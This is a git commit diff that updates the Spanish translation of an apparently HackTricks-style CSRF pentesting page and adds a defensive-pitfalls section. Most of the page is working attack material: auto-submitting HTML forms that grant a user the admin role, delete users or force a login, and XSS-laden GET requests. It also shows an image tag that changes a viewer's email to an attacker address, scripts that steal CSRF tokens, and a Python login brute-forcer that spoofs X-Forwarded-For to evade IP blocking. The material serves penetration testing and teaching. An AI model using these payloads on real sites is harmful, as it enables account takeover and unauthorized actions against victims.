Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

2025-10-10 18:36:50 +00:00 · 2025-09-29 22:29:44 +00:00 · 2025-09-29 22:29:44 +00:00 · 6c60d8d4fb
commit 6c60d8d4fb
parent 70e7e640da
2 changed files with 151 additions and 61 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -487,6 +487,7 @@
 - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
  - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
  - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+  - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
 - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
 - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
 - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/src/pentesting-web/csrf-cross-site-request-forgery.md
@ -2,55 +2,62 @@

 {{#include ../banners/hacktricks-training.md}}

-## Cross-Site Request Forgery (CSRF) Explained
+## Cross-Site Request Forgery (CSRF) Explicado

-**Cross-Site Request Forgery (CSRF)** es un tipo de vulnerabilidad de seguridad encontrada en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos aprovechando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que ha iniciado sesión en la plataforma de la víctima, visita un sitio malicioso. Este sitio entonces desencadena peticiones hacia la cuenta de la víctima mediante métodos como ejecutar JavaScript, enviar formularios o cargar imágenes.
+**Cross-Site Request Forgery (CSRF)** es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a atacantes ejecutar acciones en nombre de usuarios desprevenidos aprovechando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que está logueado en la plataforma de la víctima, visita un sitio malicioso. Este sitio entonces dispara solicitudes contra la cuenta de la víctima mediante la ejecución de JavaScript, el envío de formularios o la carga de imágenes.

-### Prerequisites for a CSRF Attack
+### Requisitos previos para un ataque CSRF

 Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:

-1. **Identify a Valuable Action**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
-2. **Session Management**: La sesión del usuario debe gestionarse únicamente mediante cookies o el encabezado HTTP Basic Authentication, ya que otros encabezados no pueden manipularse para este propósito.
-3. **Absence of Unpredictable Parameters**: La petición no debe contener parámetros impredecibles, ya que pueden impedir el ataque.
+1. **Identify a Valuable Action**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el email o elevar privilegios.
+2. **Session Management**: La sesión del usuario debería gestionarse únicamente mediante cookies o la cabecera HTTP Basic Authentication, ya que otras cabeceras no pueden manipularse para este propósito.
+3. **Absence of Unpredictable Parameters**: La petición no debe contener parámetros impredecibles, ya que éstos pueden impedir el ataque.

 ### Quick Check

-Puedes **capturar la petición en Burp** y comprobar las protecciones CSRF y, para probar desde el navegador, puedes hacer clic en **Copy as fetch** y revisar la petición:
+Puedes **capture the request in Burp** y comprobar las protecciones CSRF; para probar desde el navegador puedes hacer clic en **Copy as fetch** y revisar la petición:

 <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>

 ### Defending Against CSRF

-Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:
+Se pueden implementar varias contramedidas para proteger contra ataques CSRF:

- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impide que el navegador envíe cookies junto con peticiones cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): La política CORS del sitio víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio víctima. [Learn about CORS bypass](cors-bypass.md).
+- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impide que el navegador envíe cookies junto con solicitudes cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
+- [**Cross-origin resource sharing**](cors-bypass.md): La política CORS del sitio víctima puede influir en la factibilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio víctima. [Learn about CORS bypass](cors-bypass.md).
 - **User Verification**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
- **Checking Referrer or Origin Headers**: Validar estos encabezados puede ayudar a asegurar que las peticiones provienen de fuentes confiables. Sin embargo, una construcción cuidadosa de URLs puede eludir comprobaciones mal implementadas, como:
-  - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
-  - Using `http://example.com.mal.net` (URL starts with the trusted URL)
+- **Checking Referrer or Origin Headers**: Validar estas cabeceras puede ayudar a asegurar que las solicitudes provienen de orígenes de confianza. Sin embargo, una construcción cuidadosa de URLs puede eludir chequeos mal implementados, por ejemplo:
+  - Usar `http://mal.net?orig=http://example.com` (la URL termina con la URL de confianza)
+  - Usar `http://example.com.mal.net` (la URL empieza con la URL de confianza)
 - **Modifying Parameter Names**: Alterar los nombres de los parámetros en peticiones POST o GET puede ayudar a prevenir ataques automatizados.
- **CSRF Tokens**: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede aumentarse aplicando CORS.
+- **CSRF Tokens**: Incorporar un token CSRF único en cada sesión y requerir este token en peticiones subsecuentes puede mitigar significativamente el riesgo de CSRF. La efectividad del token se puede mejorar aplicando CORS.

-Entender e implementar estas defensas es crucial para mantener la seguridad y la integridad de las aplicaciones web.
+Entender e implementar estas defensas es crucial para mantener la seguridad e integridad de las aplicaciones web.
+
+#### Common pitfalls of defenses
+
+- SameSite pitfalls: `SameSite=Lax` aún permite navegaciones top-level cross-site como enlaces y formularios GET, por lo que muchos CSRF basados en GET siguen siendo posibles. Consulta la matriz de cookies en [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
+- Header checks: Valida `Origin` cuando esté presente; si tanto `Origin` como `Referer` están ausentes, falla de forma cerrada. No te fíes de coincidencias por substring/regex de `Referer` que pueden ser eludidas con dominios lookalike o URLs manipuladas, y ten en cuenta el truco de supresión `meta name="referrer" content="never"`.
+- Method overrides: Trata los métodos sobreescritos (`_method` u override headers) como cambios de estado y aplica CSRF sobre el método efectivo, no solo sobre POST.
+- Login flows: Aplica protecciones CSRF también al login; de lo contrario, el login CSRF permite re-autenticación forzada en cuentas controladas por el atacante, lo que puede encadenarse con XSS almacenado.

 ## Defences Bypass

 ### From POST to GET (method-conditioned CSRF validation bypass)

-Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
+Algunas aplicaciones solo aplican la validación CSRF en POST mientras la omiten para otros verbos. Un anti-patrón común en PHP se ve así:
 ```php
 public function csrf_check($fatal = true) {
 if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
 // ... validate __csrf_token here ...
 }
 ```
-Si el endpoint vulnerable también acepta parámetros desde $_REQUEST, puedes volver a emitir la misma acción como una petición GET y omitir el token CSRF por completo. Esto convierte una acción que era solo POST en una acción GET que tiene éxito sin un token.
+Si el endpoint vulnerable también acepta parámetros desde $_REQUEST, puedes volver a emitir la misma acción como una petición GET y omitir el CSRF token por completo. Esto convierte una acción POST-only en una acción GET que tiene éxito sin token.

 Ejemplo:

- POST original con token (previsto):
+- Original POST with token (intended):

 ```http
 POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
@ -59,54 +66,94 @@ Content-Type: application/x-www-form-urlencoded
 __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
 ```

- Bypass cambiando a GET (sin token):
+- Bypass by switching to GET (no token):

 ```http
 GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
 ```

 Notas:
- Este patrón aparece frecuentemente junto con reflected XSS cuando las respuestas se sirven incorrectamente como text/html en lugar de application/json.
- Combinar esto con XSS reduce enormemente las barreras de explotación porque puedes entregar un único enlace GET que tanto activa la vía de código vulnerable como evita por completo las comprobaciones CSRF.
+- Este patrón aparece frecuentemente junto con reflected XSS donde las respuestas se sirven incorrectamente como text/html en lugar de application/json.
+- Combinar esto con XSS reduce mucho las barreras de explotación porque puedes entregar un único enlace GET que tanto activa la ruta de código vulnerable como evita completamente las comprobaciones de CSRF.

 ### Falta de token

-Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, se produce una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto **eliminando el parámetro** que contiene el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo eficazmente un ataque Cross-Site Request Forgery (CSRF).
+Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto **eliminando el parámetro** que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo efectivamente un Cross-Site Request Forgery (CSRF).

-### El token CSRF no está vinculado a la sesión del usuario
+Además, algunas implementaciones solo comprueban que el parámetro exista pero no validan su contenido, por lo que se acepta un **valor de token vacío**. En ese caso, simplemente enviar la petición con `csrf=` es suficiente:
+```http
+POST /admin/users/role HTTP/2
+Host: example.com
+Content-Type: application/x-www-form-urlencoded

-Las aplicaciones que **no vinculan los tokens CSRF a las sesiones de usuario** representan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens frente a un **conjunto global** en lugar de asegurar que cada token esté ligado a la sesión iniciadora.
+username=guest&role=admin&csrf=
+```
+PoC mínimo que se autoenvía (ocultando la navegación con history.pushState):
+```html
+<html>
+<body>
+<form action="https://example.com/admin/users/role" method="POST">
+<input type="hidden" name="username" value="guest" />
+<input type="hidden" name="role" value="admin" />
+<input type="hidden" name="csrf" value="" />
+<input type="submit" value="Submit request" />
+</form>
+<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
+</body>
+</html>
+```
+### CSRF token is not tied to the user session

-Así es como los atacantes explotan esto:
+Las aplicaciones **no vincular los CSRF tokens a las sesiones de usuario** representan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens contra un **conjunto global** en lugar de asegurarse de que cada token esté ligado a la sesión que lo inició.

-1. **Autenticarse** usando su propia cuenta.
-2. **Obtener un token CSRF válido** del conjunto global.
-3. **Usar este token** en un ataque CSRF contra una víctima.
+Aquí se muestra cómo los atacantes explotan esto:

-Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo de validación de tokens inadecuado** de la aplicación.
+1. **Autentican** usando su propia cuenta.
+2. **Obtienen un CSRF token válido** del conjunto global.
+3. **Usan este token** en un ataque CSRF contra una víctima.
+
+Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo inadecuado de validación de tokens** de la aplicación.

 ### Method bypass

-Si la petición está usando un método "**raro**" **method**, verifica si la **method override functionality** está funcionando. Por ejemplo, si está **using a PUT** method puedes intentar **use a POST** method y **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Si la solicitud está usando un método "**raro**", comprueba si la funcionalidad de **method override** está funcionando. Por ejemplo, si está usando un método **PUT/DELETE/PATCH** puedes intentar usar **POST** y enviar un override, p.ej. `https://example.com/my/dear/api/val/num?_method=PUT`.

-Esto también puede funcionar enviando el **\_method parameter inside the a POST request** o usando las **cabeceras**:
+Esto también puede funcionar enviando el parámetro **`_method` dentro del body de un POST** o usando headers de override:

- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
+- `X-HTTP-Method`
+- `X-HTTP-Method-Override`
+- `X-Method-Override`

-### Bypass de token en encabezado personalizado
+Común en frameworks como **Laravel**, **Symfony**, **Express**, y otros. Los desarrolladores a veces omiten CSRF en verbos no-POST asumiendo que los navegadores no pueden emitirlos; con overrides, aún puedes alcanzar esos handlers vía POST.

-Si la solicitud añade un **custom header** con un **token** a la petición como **CSRF protection method**, entonces:
+Example request and HTML PoC:
+```http
+POST /users/delete HTTP/1.1
+Host: example.com
+Content-Type: application/x-www-form-urlencoded

- Prueba la solicitud sin el **Customized Token y tampoco el header.**
- Prueba la solicitud con exactamente la **misma longitud pero token diferente**.
+username=admin&_method=DELETE
+```

-### El token CSRF se verifica mediante una cookie
+```html
+<form method="POST" action="/users/delete">
+<input name="username" value="admin">
+<input type="hidden" name="_method" value="DELETE">
+<button type="submit">Delete User</button>
+</form>
+```
+### Custom header token bypass

-Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de la solicitud o estableciendo una cookie CSRF y verificando si el token enviado al backend corresponde con la cookie. La aplicación valida las peticiones comprobando si el token en el parámetro de la solicitud coincide con el valor de la cookie.
+Si la petición agrega un **custom header** con un **token** a la petición como **CSRF protection method**, entonces:

-Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallos que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotarlo cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.
+- Prueba la petición sin el **Customized Token** y sin el **header**.
+- Prueba la petición con exactamente la **misma longitud pero token diferente**.
+
+### CSRF token is verified by a cookie
+
+Las aplicaciones pueden implementar la protección CSRF duplicando el token tanto en una cookie como en un request parameter, o configurando una CSRF cookie y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el request parameter coincide con el valor en la cookie.
+
+Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallos que permiten a un atacante establecer una CSRF cookie en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie y, a continuación, iniciar el ataque CSRF.

 A continuación hay un ejemplo de cómo podría estructurarse un ataque:
 ```html
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
 </html>
 ```
 > [!TIP]
-> Ten en cuenta que si el **csrf token está relacionado con la session cookie este ataque no funcionará** porque tendrás que establecer en la víctima tu session cookie y, por lo tanto, te estarás atacando a ti mismo.
+> Ten en cuenta que si el **csrf token está relacionado con la session cookie este attack no funcionará** porque tendrás que establecer tu session en la victim, y por lo tanto te estarás atacando a ti mismo.

 ### Cambio de Content-Type

-Según [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar preflight** en peticiones que usan el método **POST** estos son los valores permitidos de Content-Type:
+According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight requests** using **POST** method these are the allowed Content-Type values:

 - **`application/x-www-form-urlencoded`**
 - **`multipart/form-data`**
 - **`text/plain`**

-Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** usado, por lo que deberías probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
+Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** usado, así que deberías probar los valores mencionados y otros como **`application/json`**, **`text/xml`**, **`application/xml`**.

-Ejemplo (desde [aquí](https://brycec.me/posts/corctf_2021_challenges)) de enviar JSON data como text/plain:
+Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
 ```html
 <html>
 <body>
@ -164,17 +211,17 @@ form.submit()
 ```
 ### Bypassing Preflight Requests for JSON Data

-Al intentar enviar datos JSON mediante una petición POST, usar `Content-Type: application/json` en un formulario HTML no es posible directamente. De igual forma, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud preflight. No obstante, existen estrategias para potencialmente eludir esta limitación y comprobar si el servidor procesa los datos JSON independientemente del Content-Type:
+Cuando se intenta enviar datos JSON mediante una petición POST, usar `Content-Type: application/json` en un formulario HTML no es directamente posible. De forma similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una preflight request. No obstante, existen estrategias para sortear esta limitación y comprobar si el servidor procesa los datos JSON independientemente del Content-Type:

 1. **Use Alternative Content Types**: Emplea `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` estableciendo `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
-2. **Modify Content Type**: Para evitar una solicitud preflight y al mismo tiempo lograr que el servidor reconozca el contenido como JSON, puedes enviar los datos con `Content-Type: text/plain; application/json`. Esto no desencadena una solicitud preflight pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
-3. **SWF Flash File Utilization**: Un método menos común pero factible consiste en usar un archivo SWF flash para eludir tales restricciones. Para una explicación detallada de esta técnica, consulta [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
+2. **Modify Content Type**: Para evitar una preflight request y al mismo tiempo asegurar que el servidor reconozca el contenido como JSON, puedes enviar los datos con `Content-Type: text/plain; application/json`. Esto no dispara una preflight request, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
+3. **SWF Flash File Utilization**: Un método menos común pero factible consiste en usar un archivo SWF flash para eludir esas restricciones. Para una comprensión más profunda de esta técnica, consulta [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).

 ### Referrer / Origin check bypass

 **Avoid Referrer header**

-Las aplicaciones pueden validar el encabezado 'Referer' solo cuando está presente. Para evitar que un navegador envíe este encabezado, se puede usar la siguiente meta tag HTML:
+Las aplicaciones pueden validar la cabecera 'Referer' solo cuando está presente. Para evitar que un navegador envíe esta cabecera, se puede usar la siguiente HTML meta tag:
 ```xml
 <meta name="referrer" content="never">
 ```
@ -218,15 +265,50 @@ document.forms[0].submit()
 ```
 ### **HEAD method bypass**

-La primera parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router está configurado para **handle HEAD requests as GET requests** sin cuerpo de respuesta — una solución común que no es exclusiva de Oak. En lugar de un handler específico que gestione las HEAD reqs, simplemente son **given to the GET handler but the app just removes the response body**.
+La primera parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router está configurado para **handle HEAD requests as GET requests** sin cuerpo de respuesta — un workaround común que no es exclusivo de Oak. En lugar de un handler específico que trate las HEAD reqs, simplemente se **entregan al GET handler pero la app elimina el cuerpo de la respuesta**.

 Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **send a HEAD request that will be processed as a GET request**.

 ## **Exploit Examples**

+### Stored CSRF via user-generated HTML
+
+Cuando se permiten rich-text editors o HTML injection, puedes persistir un fetch pasivo que golpee un vulnerable GET endpoint. Cualquier usuario que vea el contenido realizará automáticamente la petición con sus cookies.
+
+- Si la app usa un CSRF token global que no está ligado a la user session, el mismo token podría funcionar para todos los usuarios, haciendo que el stored CSRF sea fiable entre víctimas.
+
+Ejemplo mínimo que cambia el email del espectador cuando se carga:
+```html
+<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
+```
+### Login CSRF encadenado con XSS almacenado
+
+Login CSRF por sí solo puede tener bajo impacto, pero encadenarlo con un XSS almacenado en contexto autenticado se vuelve potente: forzar a la víctima a autenticarse en una cuenta controlada por el atacante; una vez en ese contexto, un XSS almacenado en una página autenticada se ejecuta y puede robar tokens, secuestrar la sesión o escalar privilegios.
+
+- Asegúrate de que el endpoint de login sea susceptible a CSRF (sin token por sesión ni comprobación del origen) y que no existan barreras de interacción del usuario que lo bloqueen.
+- Después del login forzado, navegar automáticamente a una página que contenga el XSS almacenado (payload) del atacante.
+
+PoC mínimo de login-CSRF:
+```html
+<html>
+<body>
+<form action="https://example.com/login" method="POST">
+<input type="hidden" name="username" value="attacker@example.com" />
+<input type="hidden" name="password" value="StrongPass123!" />
+<input type="submit" value="Login" />
+</form>
+<script>
+history.pushState('', '', '/');
+document.forms[0].submit();
+// Optionally redirect to a page with stored XSS in the attacker account
+// location = 'https://example.com/app/inbox';
+</script>
+</body>
+</html>
+```
 ### **Exfiltrating CSRF Token**

-Si un **CSRF token** se está usando como **defence**, podrías intentar **exfiltrate it** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
+Si se está usando un **CSRF token** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de una vulnerabilidad [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).

 ### **GET using HTML tags**
 ```xml
@ -263,7 +345,7 @@ background: url("...");
 </video>
 </audio>
 ```
-### Solicitud GET de formulario
+### Solicitud GET del formulario
 ```html
 <html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
 </body>
 </html>
 ```
-### Solicitud POST de formulario mediante iframe
+### Solicitud POST de Form a través de iframe
 ```html
 <!--
 The request is sent through the iframe withuot reloading the page
@ -332,7 +414,7 @@ document.forms[0].submit()
 </body>
 </html>
 ```
-### **Ajax POST solicitud**
+### **Petición POST Ajax**
 ```html
 <script>
 var xh
@ -361,7 +443,7 @@ data: "param=value&param2=value2",
 })
 </script>
 ```
-### Solicitud POST multipart/form-data
+### multipart/form-data POST petición
 ```javascript
 myFormData = new FormData()
 var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
 mode: "no-cors",
 })
 ```
-### Solicitud POST multipart/form-data v2
+### multipart/form-data POST request v2
 ```javascript
 // https://www.exploit-db.com/exploits/20009
 var fileSize = fileData.length,
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
 //xhr.send(body);
 xhr.sendAsBinary(body)
 ```
-### Solicitud POST de formulario desde un iframe
+### Solicitud POST de formulario desde dentro de un iframe
 ```html
 <--! expl.html -->

@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
 var POST_URL = "http://google.com?param=VALUE"
 getTokenJS()
 ```
-### **Robar CSRF Token y enviar una solicitud POST usando un iframe, un form y Ajax**
+### **Robar CSRF Token y enviar un Post request usando un iframe, un form y Ajax**
 ```html
 <form
 id="form1"
@ -501,7 +583,7 @@ style="display:none"
 src="http://google.com?param=VALUE"
 onload="javascript:f1();"></iframe>
 ```
-### **Robar CSRF Token y enviar una solicitud POST usando un iframe y un form**
+### **Robar CSRF Token y enviar una solicitud POST usando un iframe y un formulario**
 ```html
 <iframe
 id="iframe"
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
 <button type="submit">Submit</button>
 </form>
 ```
-### **POSTSteal CSRF token con Ajax y enviar un POST con un formulario**
+### **POSTSteal CSRF token con Ajax y enviar un post con un formulario**
 ```html
 <body onload="getData()">
 <form
@ -617,7 +699,7 @@ room: username,
 ```
 ## CSRF Login Brute Force

-El código puede usarse para Brut Force un formulario de login usando un CSRF token (También usa el header X-Forwarded-For para intentar eludir un posible IP blacklisting):
+El código puede usarse para Brut Force un formulario de login usando un token CSRF (También utiliza la cabecera X-Forwarded-For para intentar eludir un posible IP blacklisting):
 ```python
 import request
 import re
@ -665,6 +747,7 @@ login(USER, line.strip())

 - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
 - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
+- [Burp Suite Professional – Generar CSRF PoCs](https://portswigger.net/burp)

 ## Referencias

@ -673,5 +756,11 @@ login(USER, line.strip())
 - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
 - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
 - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [Guía definitiva sobre vulnerabilidades CSRF (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
+- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
+- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
+- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
+- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
+- [YesWeHack Dojo: Laboratorios prácticos](https://dojo-yeswehack.com/)

 {{#include ../banners/hacktricks-training.md}}